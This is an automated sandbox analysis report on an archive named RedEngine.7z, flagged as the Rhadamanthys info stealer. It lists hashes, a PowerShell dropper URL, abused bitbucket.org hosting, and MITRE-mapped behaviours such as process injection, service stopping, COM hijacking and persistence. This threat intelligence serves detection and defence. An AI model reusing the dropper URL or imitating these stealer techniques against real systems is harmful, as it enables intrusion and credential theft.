rhadamanthys | c1c897fccbac99e89d7dcfaecb8a97bcfe6250f9ab1160f190717ef1cfcb4258

Analysis

max time kernel
1800s
max time network
1692s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
25-06-2024 11:36

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

RedEngine.7z
Size

2.1MB
MD5

f23bd725bb53925599f4be868442b6c9
SHA1

f1ceddaa54428a8b8bca7b08cc845b19e2ae14e2
SHA256

c1c897fccbac99e89d7dcfaecb8a97bcfe6250f9ab1160f190717ef1cfcb4258
SHA512

2b7160ca5605f19fd084e326b291a8015ac155b183315e0a9a14f115205fc85ae00216e163ec453db86a4d362b1d5c3383b08c9cd53245c5ae69e850183ad184
SSDEEP

49152:K0DnX8iIxVA3ooy+ZwawT1o1SU6cCxD+f7bGSFJw7iIehWD3u70xeHR:vDX8iI4Yoy+cK/lvsOInru70AR

Score

10^/10

rhadamanthys discovery evasion execution persistence privilege_escalation stealer

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://rentry.org/pancek61111111111111/raw

Signatures

Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys
Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

Processes:

cuvhmzml.ugn0.exeljdnbvmc.shu0.exe

description pid process target process

PID 1584 created 2248 1584 cuvhmzml.ugn0.exe sihost.exe
PID 2548 created 2248 2548 ljdnbvmc.shu0.exe sihost.exe

description	pid	process	target process
PID 1584 created 2248	1584	cuvhmzml.ugn0.exe	sihost.exe
PID 2548 created 2248	2548	ljdnbvmc.shu0.exe	sihost.exe

Blocklisted process makes network request 29 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exemsiexec.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

flow	pid	process
134	3948	powershell.exe
136	3948	powershell.exe
139	4184	powershell.exe
140	4184	powershell.exe
142	1592	powershell.exe
143	1592	powershell.exe
144	5044	powershell.exe
145	5044	powershell.exe
146	3692	powershell.exe
147	3692	powershell.exe
149	2832	powershell.exe
151	4116	powershell.exe
152	2424	powershell.exe
153	4116	powershell.exe
154	4284	powershell.exe
155	4284	powershell.exe
156	2060	powershell.exe
157	3980	powershell.exe
158	5468	powershell.exe
159	5660	msiexec.exe
160	5140	powershell.exe
161	1356	powershell.exe
163	404	powershell.exe
165	3044	powershell.exe
170	2196	powershell.exe
171	1164	powershell.exe
172	3972	powershell.exe
173	5564	powershell.exe
174	5800	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 22 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
3948	powershell.exe
4184	powershell.exe
1592	powershell.exe
5044	powershell.exe
3692	powershell.exe
4116	powershell.exe
4284	powershell.exe
2832	powershell.exe
2060	powershell.exe
404	powershell.exe
3972	powershell.exe
5800	powershell.exe
2424	powershell.exe
5468	powershell.exe
5140	powershell.exe
2196	powershell.exe
1164	powershell.exe
3980	powershell.exe
1356	powershell.exe
5564	powershell.exe
3044	powershell.exe
5548	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks computer location settings 2 TTPs 14 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Launcher.exeLauncher.exeLauncher.exeLauncher.exedjxb4j1r.uvp2.exeLauncher.exeLauncher.exeyyarru0m.1at2.exevlyixe2m.igg2.execuvhmzml.ugn2.exeljdnbvmc.shu2.exefto5nvwj.zhv2.exe41j2jner.kc12.exeLauncher.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	Launcher.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	Launcher.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	Launcher.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	Launcher.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	djxb4j1r.uvp2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	Launcher.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	Launcher.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	yyarru0m.1at2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	vlyixe2m.igg2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	cuvhmzml.ugn2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	ljdnbvmc.shu2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	fto5nvwj.zhv2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	41j2jner.kc12.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	Launcher.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 31 IoCs

Processes:

7z2407-x64.exe7zG.exe7zFM.exeLauncher.exeLauncher.exeLauncher.exeLauncher.exeLauncher.execuvhmzml.ugn0.execuvhmzml.ugn2.execuvhmzml.ugn1.exeljdnbvmc.shu0.exeljdnbvmc.shu1.exeljdnbvmc.shu2.exeLauncher.exeLauncher.exeyyarru0m.1at0.exeyyarru0m.1at1.exeyyarru0m.1at2.exefto5nvwj.zhv0.exefto5nvwj.zhv1.exefto5nvwj.zhv2.exevlyixe2m.igg0.exevlyixe2m.igg1.exevlyixe2m.igg2.exedjxb4j1r.uvp0.exedjxb4j1r.uvp1.exedjxb4j1r.uvp2.exe41j2jner.kc10.exe41j2jner.kc11.exe41j2jner.kc12.exe

pid	process
408	7z2407-x64.exe
3428	7zG.exe
4084	7zFM.exe
1576	Launcher.exe
676	Launcher.exe
2188	Launcher.exe
2872	Launcher.exe
3020	Launcher.exe
1584	cuvhmzml.ugn0.exe
5004	cuvhmzml.ugn2.exe
4728	cuvhmzml.ugn1.exe
2548	ljdnbvmc.shu0.exe
2316	ljdnbvmc.shu1.exe
732	ljdnbvmc.shu2.exe
5036	Launcher.exe
2756	Launcher.exe
4984	yyarru0m.1at0.exe
3576	yyarru0m.1at1.exe
4848	yyarru0m.1at2.exe
1388	fto5nvwj.zhv0.exe
5032	fto5nvwj.zhv1.exe
1416	fto5nvwj.zhv2.exe
5256	vlyixe2m.igg0.exe
5308	vlyixe2m.igg1.exe
5340	vlyixe2m.igg2.exe
5960	djxb4j1r.uvp0.exe
6012	djxb4j1r.uvp1.exe
6044	djxb4j1r.uvp2.exe
3076	41j2jner.kc10.exe
5372	41j2jner.kc11.exe
5544	41j2jner.kc12.exe

Loads dropped DLL 46 IoCs

Processes:

Explorer.EXE7zG.exe7zFM.exeMsiExec.exeMsiExec.exeMsiExec.exeMsiExec.exeMsiExec.exeMsiExec.exeMsiExec.exeMsiExec.exeMsiExec.exeMsiExec.exeMsiExec.exeMsiExec.exeMsiExec.exeMsiExec.exeMsiExec.exeMsiExec.exeMsiExec.exeMsiExec.exeMsiExec.exeMsiExec.exeMsiExec.exe

pid	process
3452	Explorer.EXE
3452	Explorer.EXE
3428	7zG.exe
4084	7zFM.exe
5820	MsiExec.exe
5820	MsiExec.exe
5820	MsiExec.exe
5820	MsiExec.exe
3272	MsiExec.exe
4072	MsiExec.exe
3276	MsiExec.exe
3276	MsiExec.exe
3276	MsiExec.exe
3276	MsiExec.exe
5080	MsiExec.exe
6052	MsiExec.exe
5852	MsiExec.exe
5852	MsiExec.exe
5852	MsiExec.exe
5852	MsiExec.exe
6116	MsiExec.exe
372	MsiExec.exe
3128	MsiExec.exe
3128	MsiExec.exe
3128	MsiExec.exe
3128	MsiExec.exe
5080	MsiExec.exe
5168	MsiExec.exe
5860	MsiExec.exe
5860	MsiExec.exe
5860	MsiExec.exe
5860	MsiExec.exe
2340	MsiExec.exe
5560	MsiExec.exe
1500	MsiExec.exe
1500	MsiExec.exe
1500	MsiExec.exe
1500	MsiExec.exe
3432	MsiExec.exe
3444	MsiExec.exe
1368	MsiExec.exe
1368	MsiExec.exe
1368	MsiExec.exe
1368	MsiExec.exe
5156	MsiExec.exe
1288	MsiExec.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

msiexec.exe

description	ioc	process
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 8 IoCs

Web Service
T1102

Processes:

flow ioc

155 bitbucket.org
135 bitbucket.org
136 bitbucket.org
140 bitbucket.org
143 bitbucket.org
145 bitbucket.org
147 bitbucket.org
153 bitbucket.org
Power Settings 1 TTPs 4 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
persistence

T1653

Processes:

powercfg.exepowercfg.exepowercfg.exepowercfg.exe

pid process

1920 powercfg.exe
5256 powercfg.exe
5668 powercfg.exe
5948 powercfg.exe

flow	ioc
155	bitbucket.org
135	bitbucket.org
136	bitbucket.org
140	bitbucket.org
143	bitbucket.org
145	bitbucket.org
147	bitbucket.org
153	bitbucket.org

pid	process
1920	powercfg.exe
5256	powercfg.exe
5668	powercfg.exe
5948	powercfg.exe

Drops file in System32 directory 10 IoCs

Processes:

cuvhmzml.ugn1.exesvchost.exeOfficeClickToRun.exesvchost.exesvchost.exe

description	ioc	process
File opened for modification	C:\Windows\system32\MRT.exe	cuvhmzml.ugn1.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Setup.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\RunNodeScriptAtLogon	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

cuvhmzml.ugn1.exe

description pid process target process

PID 4728 set thread context of 5992 4728 cuvhmzml.ugn1.exe dialer.exe

description	pid	process	target process
PID 4728 set thread context of 5992	4728	cuvhmzml.ugn1.exe	dialer.exe

Drops file in Program Files directory 64 IoCs

Processes:

msiexec.exe7z2407-x64.exe

description	ioc	process
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\iconv-lite\encodings\tables\gbk-added.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\node-gyp\gyp\pylib\packaging\utils.py	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\man\man1\npm-exec.1	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@sigstore\core\dist\rfc3161\tstinfo.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\archy\examples\beep.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\foreground-child\LICENSE	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\iconv-lite\encodings\sbcs-data-generated.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\pacote\lib\fetcher.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\semver\internal\debug.js	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kk.txt	7z2407-x64.exe
File created	C:\Program Files\nodejs\node_modules\corepack\shims\pnpm.cmd	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\clean-stack\license	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\glob\dist\commonjs\glob.js.map	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\minimatch\dist\cjs\ast.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\which\node_modules\isexe\package.json	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\da.txt	7z2407-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ar.txt	7z2407-x64.exe
File created	C:\Program Files\nodejs\node_modules\npm\docs\output\commands\npm-token.html	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\hosted-git-info\lib\hosts.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\semver\README.md	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\af.txt	7z2407-x64.exe
File created	C:\Program Files\nodejs\node_modules\corepack\shims\npm.cmd	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\arborist\lib\from-path.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\console-control-strings\package.json	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\io.txt	7z2407-x64.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\node-gyp\gyp\pylib\packaging\_manylinux.py	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\docs\content\commands\npm-search.md	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\type-description.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\bin-links\lib\check-bins.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\fastest-levenshtein\test.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\glob\dist\esm\has-magic.js.map	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\bin\npm-cli.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\node-gyp\lib\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\bin-links\lib\fix-bin.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\fastest-levenshtein\LICENSE.md	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\jsonparse\samplejson\basic.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\validate-npm-package-license\package.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\lib\arborist-cmd.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\ansi-styles\package.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\lib\commands\logout.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@pkgjs\parseargs\examples\negate.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\init-package-json\lib\default-input.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\jsonparse\package.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\libnpmexec\lib\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\semver\ranges\min-satisfying.js	msiexec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hy.txt	7z2407-x64.exe
File created	C:\Program Files\nodejs\node_modules\corepack\shims\pnpx	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\docs\output\commands\npm-install.html	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\docs\output\commands\npm-start.html	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\lib\commands\whoami.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\man\man1\npm-repo.1	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@sigstore\sign\dist\witness\tlog\entry.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\aggregate-error\index.js	msiexec.exe
File created	C:\Program Files\nodejs\npx	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\which\package.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\semver\functions\compare-build.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\man\man1\npm-query.1	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\iconv-lite\lib\bom-handling.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\docs\content\commands\npm-dist-tag.md	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\definitions\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\is-lambda\package.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\libnpmversion\lib\tag.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\tar\node_modules\fs-minipass\LICENSE	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\lib\commands\init.js	msiexec.exe

Drops file in Windows directory 59 IoCs

Processes:

msiexec.exesvchost.exe

description	ioc	process
File opened for modification	C:\Windows\Installer\MSI91.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIDAAC.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF4F2.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI209B.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\e5b6dca.msi	msiexec.exe
File created	C:\Windows\Installer\e5b6dce.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIAFBE.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE175.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA5D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI12DD.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI77FF.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI2725.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI296A.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB88B.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB760.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE33D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF512.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI283F.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA7DA.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIFE3E.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI28AE.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIDABD.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI129D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI20AC.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\{637236E9-EF59-4F9D-8269-3083C1A6C6D6}\NodeIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID0.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI866.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI11A2.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB82C.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF4C2.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIFD13.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIAF5E.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE260.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI70E8.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIAF9E.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA2D.tmp	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\SourceHash{637236E9-EF59-4F9D-8269-3083C1A6C6D6}	msiexec.exe
File created	C:\Windows\Installer\{637236E9-EF59-4F9D-8269-3083C1A6C6D6}\NodeIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIAD79.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB938.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIFD81.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID1.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA7D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI70F8.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI74A.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI136A.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE2BF.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIDA5D.tmp	msiexec.exe
File created	C:\Windows\Installer\e5b6dca.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI753F.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIFC57.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI826.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8A5.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7099.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI203C.tmp	msiexec.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe

Launches sc.exe 7 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

2468 sc.exe
5764 sc.exe
5976 sc.exe
784 sc.exe
4484 sc.exe
3076 sc.exe
4896 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
2468	sc.exe
5764	sc.exe
5976	sc.exe
784	sc.exe
4484	sc.exe
3076	sc.exe
4896	sc.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

chrome.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

Processes:

Explorer.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Software\Microsoft\Internet Explorer\Toolbar	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Explorer.EXE

Modifies data under HKEY_USERS 31 IoCs

Processes:

OfficeClickToRun.exemsiexec.exesvchost.exechrome.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\31	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\2D	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\30	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2f	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\2C	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\2E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2a\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\30	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
